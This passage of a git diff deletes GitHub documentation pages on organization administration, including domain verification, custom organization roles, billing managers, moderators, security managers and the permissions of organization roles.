using the Standard Terms of Service to help prevent sensitive information from being exposed. For more information see [AUTOTITLE](/code-security/getting-started/best-practices-for-preventing-data-leaks-in-your-organization). - -1. Navigate to your organization's settings and scroll to the "Terms of Service" section. -1. Click **Read the {% data variables.product.company_short %} Customer Agreement**. -1. After you've read the {% data variables.product.company_short %} Customer Agreement, click **Sign {% data variables.product.company_short %} customer terms**. -1. Select **Yes, I want to sign these terms on behalf of my business.** -1. In the text field, type the name of the company, non-profit, or group that owns the organization account. This is the entity that will enter into an agreement with {% data variables.product.prodname_dotcom %}. -1. To agree to the {% data variables.product.company_short %} Customer Agreement on behalf of your entity, click **Accept terms**. - -## Further reading - -* [AUTOTITLE](/free-pro-team@latest/site-policy/github-terms/github-terms-of-service) -* The [GitHub Customer Terms](https://github.com/customer-terms) -* [AUTOTITLE](/free-pro-team@latest/site-policy/github-terms/github-corporate-terms-of-service) diff --git a/content/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization.md b/content/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization.md deleted file mode 100644 index 2ec6592d852b..000000000000 --- a/content/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization.md +++ /dev/null @@ -1,102 +0,0 @@ ---- -title: Verifying or approving a domain for your organization -intro: 'You can verify your ownership of domains with {% data variables.product.company_short %} to confirm your organization''s identity.{% ifversion ghec or ghes %} You can also approve domains that {% data variables.product.company_short %} can send email notifications to for members of your organization.{% endif %}' -redirect_from: - - /articles/verifying-your-organization-s-domain - - /articles/verifying-your-organizations-domain - - /github/setting-up-and-managing-organizations-and-teams/verifying-your-organizations-domain - - /organizations/managing-organization-settings/verifying-your-organizations-domain -permissions: Organization owners can verify or approve a domain for an organization. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: how_to -topics: - - Enterprise - - Notifications - - Organizations - - Policy -shortTitle: Verify or approve a domain ---- - -## About domain verification - -After verifying ownership of your organization's domains, a "Verified" badge will display on the organization's profile. {% ifversion ghec %}If your organization has agreed to the {% data variables.product.company_short %} Customer Agreement, organization owners will be able to verify the identity of organization members by viewing each member's email address within the verified domain. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile) and [AUTOTITLE](/organizations/managing-organization-settings/upgrading-to-the-github-customer-agreement).{% endif %} - -{% ifversion ghec or ghes %} -{% ifversion ghec %}If your organization is owned by an enterprise account, a{% else %}A{% endif %} "Verified" badge will display on your organization's profile for any domains verified for the enterprise account, in addition to any domains verified for the organization. Organization owners can view any domains that an enterprise owner has verified or approved, and edit the domains if the organization owner is also an enterprise owner. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise). -{% endif %} - -{% data reusables.organizations.verified-domains-details %} - -{% ifversion ghec or ghes %} -After verifying ownership of your organization's domain, you can restrict email notifications for the organization to that domain. For more information, see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/restricting-email-notifications-for-your-organization). -{% endif %} - -{% ifversion ghec %} - -> [!NOTE] -> To restrict email notifications to a verified domain, your organization must use {% data variables.product.prodname_ghe_cloud %}. {% data reusables.enterprise.link-to-ghec-trial %} - -{% endif %} - -{% ifversion ghec %}You can also verify custom domains used for {% data variables.product.prodname_pages %} to prevent domain takeovers when a custom domain remains configured but your {% data variables.product.prodname_pages %} site is either disabled or no longer uses the domain. For more information, see [AUTOTITLE](/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages).{% endif %} - -If you confirm your organization’s identity by verifying your domain and restricting email notifications to only verified email domains, you can help prevent sensitive information from being exposed. For more information see [AUTOTITLE](/code-security/getting-started/best-practices-for-preventing-data-leaks-in-your-organization). - -{% ifversion ghec or ghes %} - -## About domain approval - -{% data reusables.enterprise-accounts.approved-domains-beta-note %} - -{% data reusables.enterprise-accounts.approved-domains-about %} - -After you approve domains for your organization, you can restrict email notifications for activity within the organization to users with verified email addresses within verified or approved domains. For more information, see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/restricting-email-notifications-for-your-organization). - -Enterprise owners cannot see which organization members or email addresses receive notifications within approved domains. - -Enterprise owners can also approve additional domains for organizations owned by the enterprise. {% ifversion ghec %}For more information, see [AUTOTITLE](/enterprise-cloud@latest/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise).{% endif %}{% ifversion ghes %}For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise).{% endif %} -{% endif %} - -## Verifying a domain for your organization - -To verify a domain, you must have access to modify domain records with your domain hosting service. - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.verified-domains %} -{% data reusables.organizations.add-a-domain %} -{% data reusables.organizations.add-domain %} -{% data reusables.organizations.add-dns-txt-record %} -1. Wait for your DNS configuration to change, which may take up to 72 hours. You can confirm your DNS configuration has changed by running the `dig` command on the command line, replacing `TXT-RECORD-NAME` with the name of the TXT record created in your DNS configuration. You should see your new TXT record listed in the command output. - - ```shell - dig TXT-RECORD-NAME +nostats +nocomments +nocmd TXT - ``` - -1. After confirming your TXT record is added to your DNS, follow steps one through three above to navigate to your organization's approved and verified domains. -{% data reusables.organizations.continue-verifying-domain %} -1. Optionally, once the "Verified" badge is visible on your organization's profile page, you can delete the TXT entry from the DNS record at your domain hosting service. - -## Approving a domain for your organization - -{% data reusables.enterprise-accounts.approved-domains-beta-note %} - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.verified-domains %} -{% data reusables.organizations.add-a-domain %} -{% data reusables.organizations.add-domain %} -{% data reusables.organizations.domains-approve-it-instead %} -{% data reusables.organizations.domains-approve-domain %} - -## Removing an approved or verified domain - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.verified-domains %} -1. To the right of the domain to remove, select the {% octicon "kebab-horizontal" aria-label="Show more options" %} dropdown menu, then click **Delete**. - - ![Screenshot of the "Verified & approved domains" page. To the right of a domain, a kebab icon is outlined in dark orange.](/assets/images/help/organizations/continue-verifying-domain.png) diff --git a/content/organizations/managing-peoples-access-to-your-organization-with-roles/about-custom-organization-roles.md b/content/organizations/managing-peoples-access-to-your-organization-with-roles/about-custom-organization-roles.md deleted file mode 100644 index a544ecfbeb38..000000000000 --- a/content/organizations/managing-peoples-access-to-your-organization-with-roles/about-custom-organization-roles.md +++ /dev/null @@ -1,99 +0,0 @@ ---- -title: About custom organization roles -intro: "You can control access to your {% ifversion org-custom-role-with-repo-permissions %}organization's settings and repositories{% else %}organization's settings{% endif %} with custom organization roles." -versions: - feature: 'custom-org-roles' -topics: - - Organizations -shortTitle: Custom organization roles -permissions: 'Organization owners and users with the "Manage custom organization roles" permission' -product: 'Organizations on {% data variables.product.prodname_ghe_cloud %}{% ifversion ghes %} and {% data variables.product.prodname_ghe_server %}{% endif %}' ---- - -{% data reusables.organizations.custom-org-roles-intro %} - -You can create and assign custom organization roles in your organization's settings. You can also manage custom roles using the REST API. See [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-organization-roles). - -{% ifversion org-custom-role-with-repo-permissions %} - -You can also create a custom organization role that includes permissions for repositories. Repository permissions grant access to all current and future repositories in the organization. - -There are several ways to combine permissions for repositories and organizations. - -* You can create a role that includes permissions for organization settings, a base role for repository access, or both. -* If you add a base role for repository access, you can also include additional repository permissions. You can't add repository permissions without a base repository role. - -Without repository permissions or a base repository role, the organization role doesn't grant access to any repositories. - ->[!NOTE] Adding repository permissions to a custom organization role is currently in {% data variables.release-phases.public_preview %} and subject to change. - -{% endif %} - -To grant access to **specific** repositories in your organization, you can create a custom repository role. See [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/about-custom-repository-roles). - -## Permissions for organization access - -When you include a permission in a custom organization role, any users with that role will have access to the corresponding settings via both the web browser and API. In the organization's settings in the browser, users will see only the pages for settings they can access. - -Organization permissions do not grant read, write, or administrator access to any repositories. Some permissions may implicitly grant visibility of repository metadata, as marked in the table below. - -{% rowheaders %} - -| Permission | Description | More information | -| ------------ | -------------|-------------------- | -| Manage custom organization roles | Access to create, view, update, and delete custom organization roles within the organization. This permission does not allow a user to assign custom roles. | [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-organization-roles) | -| View organization roles | Access to view the organization's custom organization roles. | [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-organization-roles) | -| Manage custom repository roles | Access to create, view, update, and delete the organization's custom repository roles. |[AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization) | -| View custom repository roles | Access to view the organization's custom repository roles. | [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization) | -| Manage organization webhooks | Access to register and manage webhooks for the organization. Users with this permission will be able to view webhook payloads, which may contain metadata for repositories in the organization. | [AUTOTITLE](/rest/orgs/webhooks#about-organization-webhooks) | -| {% ifversion ghec %} | -Manage organization OAuth app policies | Access to the "OAuth app policy" settings for the organization. | [AUTOTITLE](/organizations/managing-oauth-access-to-your-organizations-data/about-oauth-app-access-restrictions) | -| {% endif %} | -| {% ifversion repository-properties %} | -| Edit custom properties values at the organization level | Access to set custom property values on all repositories in the organization. | [AUTOTITLE](/organizations/managing-organization-settings/managing-custom-properties-for-repositories-in-your-organization) | -| Manage the organization's custom properties definitions | Access to create and edit custom property definitions for the organization. | [AUTOTITLE](/organizations/managing-organization-settings/managing-custom-properties-for-repositories-in-your-organization) | -| {% endif %} | -| {% ifversion repo-rules-enterprise %} | -| Manage organization ref update rules and rulesets | Access to manage rulesets and view ruleset insights at the organization level. | [AUTOTITLE](/organizations/managing-organization-settings/managing-rulesets-for-repositories-in-your-organization) | -| {% endif %} | -| View organization audit log | Access to the audit log for the organization. The audit log may contain metadata for repositories in the organization. | [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization) | -| Manage organization Actions policies | Access to manage all settings on the "Actions General" settings page, except for self-hosted runners settings. | [AUTOTITLE](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization) | -| Manage organization runners and runner groups | Access to create and manage GitHub-hosted runners, self-hosted runners, and runner groups, and control where self-hosted runners can be created. | [AUTOTITLE](/actions/using-github-hosted-runners/about-github-hosted-runners/about-github-hosted-runners#overview-of-github-hosted-runners)

[AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners) | -| Manage organization Actions secrets | Access to create and manage Actions organization secrets. | [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions#creating-secrets-for-an-organization) | -| Manage organization Actions variables | Access to create and manage Actions organization variables. | [AUTOTITLE](/actions/learn-github-actions/variables#creating-configuration-variables-for-an-organization) | -| {% ifversion actions-metrics %} | -| View organization Actions metrics | View {% data variables.product.prodname_actions %} metrics for your organization. | [AUTOTITLE](/organizations/collaborating-with-groups-in-organizations/viewing-usage-metrics-for-github-actions) | -| {% endif %} | -| {% ifversion push-protection-bypass-fine-grained-permissions %} | -| Review and manage {% data variables.product.prodname_secret_scanning %} bypass requests | Review and manage {% data variables.product.prodname_secret_scanning %} bypass requests for your organization. | [AUTOTITLE](/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/delegated-bypass-for-push-protection) | -| {% endif %} | - -{% endrowheaders %} - -{% ifversion org-custom-role-with-repo-permissions %} - -## Base roles for repository access - -The base repository role determines the initial set of permissions included in the custom role. Repository access is granted across **all** current and future repositories in the organization. - -The base repository roles are: - -* **Read:** Grants read access to all repositories in the organization. -* **Write:** Grants write access to all repositories in the organization. -* **Triage:** Grants triage access to all repositories in the organization. -* **Maintain:** Grants maintenance access to all repositories in the organization. -* **Admin:** Grants admin access to all repositories in the organization. - -## Additional permissions for repository access - -After choosing a base repository role, you can select additional permissions for your custom organization role. - -You can only choose an additional permission if it's not already included in the base repository role. For example, if the base role offers **Write** access to a repository, then the "Close a pull request" permission will already be included in the base role. - -{% data reusables.organizations.additional-permissions %} - -## Precedence for different levels of access - -{% data reusables.organizations.precedence-for-different-levels %} - -{% endif %} diff --git a/content/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization.md b/content/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization.md deleted file mode 100644 index 15a5b88567ef..000000000000 --- a/content/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization.md +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: Adding a billing manager to your organization -intro: 'A *billing manager* is a user who manages the billing settings for your organization, such as updating payment information. This is a great option if regular members of your organization don''t typically have access to billing resources.' -redirect_from: - - /articles/adding-a-billing-manager-to-your-organization - - /github/setting-up-and-managing-organizations-and-teams/adding-a-billing-manager-to-your-organization -versions: - fpt: '*' - ghec: '*' -topics: - - Organizations - - Teams - - Billing -shortTitle: Add a billing manager ---- - -Members of your organization's Owners team can give _billing manager_ permissions to people. Once a person accepts their invitation to become a billing manager for your organization, they can invite additional people to be billing managers. - -> [!NOTE] -> Billing managers do not use paid licenses in your organization's subscription. - -## Permissions for billing managers - -Billing managers can: - -* Upgrade or downgrade between {% data variables.product.prodname_free_user %} and {% data variables.product.prodname_team %} plans -* Add, update, or remove payment methods -* View payment history -* Download receipts -* View, invite, and remove billing managers -* Start, modify, or cancel sponsorships - -In addition, all billing managers will receive billing receipts by email on the organization's billing date. - -Billing managers **are not** able to: - -* Upgrade to {% data variables.product.prodname_enterprise %} or downgrade an enterprise account -* Create or access repositories in your organizations -* See private members of your organization -* Be seen in the list of organization members -* Purchase, edit, or cancel subscriptions for {% data variables.product.prodname_marketplace %} apps -* Purchase, edit, or cancel subscriptions for {% data variables.product.prodname_copilot_for_business %} or {% data variables.product.prodname_copilot_enterprise %} - -> [!TIP] -> If your organization [requires members, billing managers, and outside collaborators to use two-factor authentication](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization), the user must enable two-factor authentication before they can accept your invitation to become a billing manager for the organization. - -## Inviting a billing manager - -{% ifversion enhanced-billing-platform %} - ->[!NOTE] Enterprise accounts, and organizations owned by enterprise accounts, created after June 2, 2024, have access to the new billing platform. Enterprises that participated in the {% data variables.release-phases.public_preview %} program also have access to the new billing platform. -> -> If you are on the new billing platform, the process for adding a billing manager is different. See [AUTOTITLE](/billing/using-the-new-billing-platform/roles-for-the-new-billing-platform#inviting-a-billing-manager). - -{% endif %} - -{% ifversion ghec %} - -If your organization is owned by an enterprise account, you cannot invite billing managers at the organization level. For more information, see [AUTOTITLE](/admin/overview/about-enterprise-accounts). - -{% endif %} - -The invited person will receive an invitation email asking them to become a billing manager for your organization. Once the invited person clicks the accept link in their invitation email, they will automatically be added to the organization as a billing manager. If they don't already have a {% data variables.product.prodname_dotcom %} account, they will be directed to sign up for one, and they will be automatically added to the organization as a billing manager after they create an account. - -{% data reusables.organizations.billing-settings %} -1. Under "Billing management", next to "Billing managers", click **Add**. -1. Type the username or email address of the person you want to add and click **Send invitation**. - -## Further reading - -* [AUTOTITLE](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise){% ifversion fpt %} in the {% data variables.product.prodname_ghe_cloud %} documentation{% endif %} diff --git a/content/organizations/managing-peoples-access-to-your-organization-with-roles/index.md b/content/organizations/managing-peoples-access-to-your-organization-with-roles/index.md deleted file mode 100644 index 9d0f2b99f548..000000000000 --- a/content/organizations/managing-peoples-access-to-your-organization-with-roles/index.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Managing people's access to your organization with roles -intro: "You can control access to your organizations's settings by giving people organization roles." -redirect_from: - - /articles/managing-people-s-access-to-your-organization-with-roles - - /articles/managing-peoples-access-to-your-organization-with-roles - - /github/setting-up-and-managing-organizations-and-teams/managing-peoples-access-to-your-organization-with-roles -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -children: - - /roles-in-an-organization - - /using-organization-roles - - /about-custom-organization-roles - - /managing-custom-organization-roles - - /maintaining-ownership-continuity-for-your-organization - - /adding-a-billing-manager-to-your-organization - - /removing-a-billing-manager-from-your-organization - - /managing-security-managers-in-your-organization - - /managing-moderators-in-your-organization -shortTitle: Manage organization roles ---- diff --git a/content/organizations/managing-peoples-access-to-your-organization-with-roles/maintaining-ownership-continuity-for-your-organization.md b/content/organizations/managing-peoples-access-to-your-organization-with-roles/maintaining-ownership-continuity-for-your-organization.md deleted file mode 100644 index 4761eee7cc46..000000000000 --- a/content/organizations/managing-peoples-access-to-your-organization-with-roles/maintaining-ownership-continuity-for-your-organization.md +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: Maintaining ownership continuity for your organization -intro: Organizations can have more than one organization owner to avoid lapses in ownership. -redirect_from: - - /articles/changing-a-person-s-role-to-owner - - /articles/changing-a-persons-role-to-owner - - /github/setting-up-and-managing-organizations-and-teams/changing-a-persons-role-to-owner - - /github/setting-up-and-managing-organizations-and-teams/managing-ownership-continuity-for-your-organization - - /github/setting-up-and-managing-organizations-and-teams/maintaining-ownership-continuity-for-your-organization -permissions: Organization owners can promote any member of an organization to an organization owner. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Maintain ownership continuity ---- - -## About maintaining ownership continuity for your organization - -{% data reusables.organizations.org-ownership-recommendation %} - -Organization owners have full administrative access to the organization. {% data reusables.organizations.new-org-permissions-more-info %} - -> [!NOTE] -> As an organization owner, you can change the role of other organization members and owners. You can't change your own role. - -{% ifversion ghec or ghes %} -If your organization is owned by an enterprise account, any enterprise owner can make themselves an owner of your organization. For more information, see [AUTOTITLE](/admin/user-management/managing-organizations-in-your-enterprise/managing-your-role-in-an-organization-owned-by-your-enterprise). -{% endif %} - -## Appointing an organization owner - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.people %} -1. Select the person or people you'd like to promote to owner. - - ![Screenshot of the first two users in a list of organization members. To the left of each member, a checkbox is checked and outlined in dark orange.](/assets/images/help/teams/list-of-members-selected-bulk.png) -1. Above the list of members, select the **X members selected...** dropdown menu and click **Change role**. - - ![Screenshot of the list of organization members. Above the list, a dropdown menu, labeled "2 members selected..." is outlined in dark orange.](/assets/images/help/teams/user-bulk-management-options.png) -1. Select a new role for the person or people, then click **Change role**. diff --git a/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-organization-roles.md b/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-organization-roles.md deleted file mode 100644 index df08ad71099b..000000000000 --- a/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-organization-roles.md +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Managing custom organization roles -intro: "You can create, edit, and assign custom organization roles in an organization's settings." -versions: - feature: 'custom-org-roles' -topics: - - Organizations -shortTitle: Manage custom roles -permissions: 'Organization owners and users with the "Manage custom organization roles" permission' -product: 'Organizations on {% data variables.product.prodname_ghe_cloud %}{% ifversion ghes %} and {% data variables.product.prodname_ghe_server %}{% endif %}' ---- - -## About custom organization roles - -{% data reusables.organizations.custom-org-roles-intro %} For more information, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/about-custom-organization-roles). - -If you are an organization owner or have a custom role with the "View organization roles" or "Manage custom organization roles" permissions, you can view custom roles for the organization. To find the "Custom roles" page, you can follow the first steps in [Creating a custom role](#creating-a-custom-role). The exact steps will vary depending on which other settings page you have access to. - -To{% ifversion org-pre-defined-roles %} view organization role permissions and{% endif %} manage organization role assignments, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/using-organization-roles) - -## Creating a custom role - -Organization owners and users with the "Manage custom organization roles" permission can create up to 10 custom organization roles. - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.custom-org-roles-settings-step %} -{% data reusables.organizations.custom-org-roles-create-new-step %} - -## Editing a custom role - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.custom-org-roles-settings-step %} -{% data reusables.organizations.custom-org-roles-edit-role-step %} - -## Deleting a custom role - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.custom-org-roles-settings-step %} -{% data reusables.organizations.custom-org-roles-delete-role-step %} diff --git a/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-moderators-in-your-organization.md b/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-moderators-in-your-organization.md deleted file mode 100644 index efb1d43c9075..000000000000 --- a/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-moderators-in-your-organization.md +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: Managing moderators in your organization -intro: 'You can give an individual or team in your organization the ability to block and limit access, by assigning them to the moderator role.' -permissions: Organization owners can assign the moderator role. -versions: - fpt: '*' - ghec: '*' -topics: - - Organizations - - Teams - - Community -shortTitle: Managing moderators ---- - -## About organization moderators - -Sometimes it's necessary to block a contributor, or to set up interaction limits for your organization, or for individual repositories. As an organization owner, you can perform these tasks, but you may want to delegate these tasks to other members of your organization. You can do this by assigning an organization member, or a team, to the moderator role. - -Organization moderators can: -* Block and unblock users from the organization. For more information, see [AUTOTITLE](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization). -* Manage organization interaction limits. For more information, see [AUTOTITLE](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization). -* Manage repository interaction limits. For more information, see [AUTOTITLE](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository). -* Hide comments in all public repositories owned by the organization. For more information, see [AUTOTITLE](/communities/moderating-comments-and-conversations/managing-disruptive-comments). - -Making someone an organization moderator does not give them additional abilities other than those listed above. For example, someone who only has read access to a repository will not gain write access by being made a moderator. - -You can add up to 10 individual people, or teams, as moderators. If you've already assigned 10 individuals and/or teams as users and you want to add more, you can group people in a moderators team and then use this to replace one or more of the existing assignments. For more information, see [AUTOTITLE](/organizations/organizing-members-into-teams/creating-a-team). - -## Adding an organization moderator - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.sidebar-moderators %} -1. Under **Moderators**, in the search field, search for and select the person or team you want to assign the moderator role. Each person or team you select will appear in a list below the search bar. - -## Removing an organization moderator - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.sidebar-moderators %} -1. Next to the person or team you want to remove, click **Remove moderator**. diff --git a/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization.md b/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization.md deleted file mode 100644 index 81040554496f..000000000000 --- a/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization.md +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: Managing security managers in your organization -intro: You can give your security experts the least access they need to configure and monitor the use of security features for codebases in your organization. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Organizations - - Teams -shortTitle: Security manager role -permissions: Organization owners can assign the security manager role. ---- - -{% data reusables.organizations.security-manager-beta-note %} - -{% data reusables.organizations.about-security-managers %} - -## Permissions for the security manager role - -Organization members {% ifversion org-sec-manager-update %} and members of teams {% elsif ghes < 3.16 %}in a team {% endif %}assigned the security manager role have only the permissions required to effectively manage use of security features for the organization. - -* Read access on all repositories in the organization, in addition to any existing repository access -* Write access on all security alerts in the organization {% ifversion not fpt %} -* Access to view and configure all repositories in the organization's security overview {% endif %} -* The ability to configure settings for security features at the organization level, including the ability to enable or disable {% data variables.product.prodname_GHAS %} features -* The ability to configure settings for security features at the repository level, including the ability to enable or disable {% data variables.product.prodname_GHAS %} features - -{% ifversion fpt %} -Additional functionality, including a security overview for the organization, is available in organizations that use {% data variables.product.prodname_ghe_cloud %}. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization). -{% endif %} - -If a team has the security manager role, people with admin access to the team and a specific repository can change the team's level of access to that repository but cannot remove the access. For more information, see [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/managing-team-access-to-an-organization-repository) and [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository). - -{% ifversion org-sec-manager-update %} - -## Managing security managers in your organization - -You can assign the pre-defined security manager role to either an organization team or directly to an organization member. Larger organizations may want to create a dedicated team for security management. This approach is especially useful if you want to assign additional permissions to your security experts. - -For information about assigning roles to users and teams, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/using-organization-roles). - -## Creating a custom security role - -You can create custom security roles for your organization with reduced or increased access, as needed. For example, you might create a security role limited to managing secret scanning results and bypass requests, or you might create a combined security and audit log role. For more information, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-organization-roles). - -{% else %} - -## Assigning the security manager role to a team in your organization - -You can assign the security manager role to a maximum of 10 teams in your organization. - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% ifversion security-configurations %} -{% data reusables.security-configurations.display-global-settings %} -{% else %} -{% data reusables.organizations.security-and-analysis %} -{% endif %} -1. In the "Security managers" section, in the search field, search for and select the team to give the role. Each team you select will appear in a list below the search bar. - -## Removing the security manager role from a team in your organization - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% ifversion security-configurations %} -{% data reusables.security-configurations.display-global-settings %} -{% else %} -{% data reusables.organizations.security-and-analysis %} -{% endif %} -1. Under **Security managers**, next to the team you want to remove as security managers, click {% octicon "x" aria-label="Remove TEAM" %}. - -{% endif %} diff --git a/content/organizations/managing-peoples-access-to-your-organization-with-roles/removing-a-billing-manager-from-your-organization.md b/content/organizations/managing-peoples-access-to-your-organization-with-roles/removing-a-billing-manager-from-your-organization.md deleted file mode 100644 index 8f673ef520d9..000000000000 --- a/content/organizations/managing-peoples-access-to-your-organization-with-roles/removing-a-billing-manager-from-your-organization.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Removing a billing manager from your organization -intro: 'If a person with the *billing manager* role no longer needs to view or change your organization''s billing information, you can remove their access to the organization.' -redirect_from: - - /articles/removing-a-billing-manager-from-your-organization - - /github/setting-up-and-managing-organizations-and-teams/removing-a-billing-manager-from-your-organization -versions: - fpt: '*' - ghec: '*' -topics: - - Organizations - - Teams - - Billing -shortTitle: Remove billing manager ---- - -> [!NOTE] -> {% data reusables.dotcom_billing.org-billing-perms %} - -{% data reusables.organizations.billing-settings %} -1. Under "Billing management", in the "Billing managers" list, next to the name of the person you want to remove, click **Remove**. diff --git a/content/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization.md b/content/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization.md deleted file mode 100644 index e7b6042fd9a8..000000000000 --- a/content/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization.md +++ /dev/null @@ -1,295 +0,0 @@ ---- -title: Roles in an organization -intro: Organization owners can assign roles to individuals and teams giving them different sets of permissions in the organization. -redirect_from: - - /articles/permission-levels-for-an-organization-early-access-program - - /articles/permission-levels-for-an-organization - - /github/setting-up-and-managing-organizations-and-teams/permission-levels-for-an-organization - - /organizations/managing-peoples-access-to-your-organization-with-roles/permission-levels-for-an-organization -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Roles in an organization ---- - -## About roles - -{% data reusables.organizations.about-roles %} - -Repository-level roles give organization members, outside collaborators and teams of people varying levels of access to repositories. For more information, see [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization). - -Team-level roles are roles that give permissions to manage a team. You can give any individual member of a team the team maintainer role, which gives the member a number of administrative permissions over a team. For more information, see [AUTOTITLE](/organizations/organizing-members-into-teams/assigning-the-team-maintainer-role-to-a-team-member). - -Organization-level roles are sets of permissions that can be assigned to individuals or teams to manage an organization and the organization's repositories, teams, and settings. For more information about all the roles available at the organization level, see [About organization roles](#about-organization-roles). - -{% ifversion org-pre-defined-roles %} - -## About pre-defined organization roles - -{% data reusables.organizations.pre-defined-organization-roles %} - -For more information, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/using-organization-roles). - -{% endif %} - -## About organization roles - -You can assign people to a variety of organization-level roles to control your members' access to your organization and its resources. For more details about the individual permissions included in each role, see [Permissions for organization roles](#permissions-for-organization-roles). - -{% ifversion custom-org-roles %} -For more granular control of access to your organization's settings, you can create a custom organization role. For more information, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/about-custom-organization-roles). -{% endif %} - -{% ifversion ghec or ghes %} -If your organization is owned by an enterprise account, enterprise owners can choose to join your organization with any role. For more information, see [AUTOTITLE](/admin/user-management/managing-organizations-in-your-enterprise/managing-your-role-in-an-organization-owned-by-your-enterprise). -{% endif %} - -### Organization owners - -Organization owners have complete administrative access to your organization. This role should be limited, but to no less than two people, in your organization. For more information, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/maintaining-ownership-continuity-for-your-organization). - -### Organization members - -The default, non-administrative role for people in an organization is the organization member. By default, organization members have a number of permissions, including the ability to create repositories and projects. - -{% ifversion fpt or ghec %} - -### Organization moderators - -Moderators are organization members who, in addition to their permissions as members, are allowed to block and unblock non-member contributors, set interaction limits, and hide comments in public repositories owned by the organization. 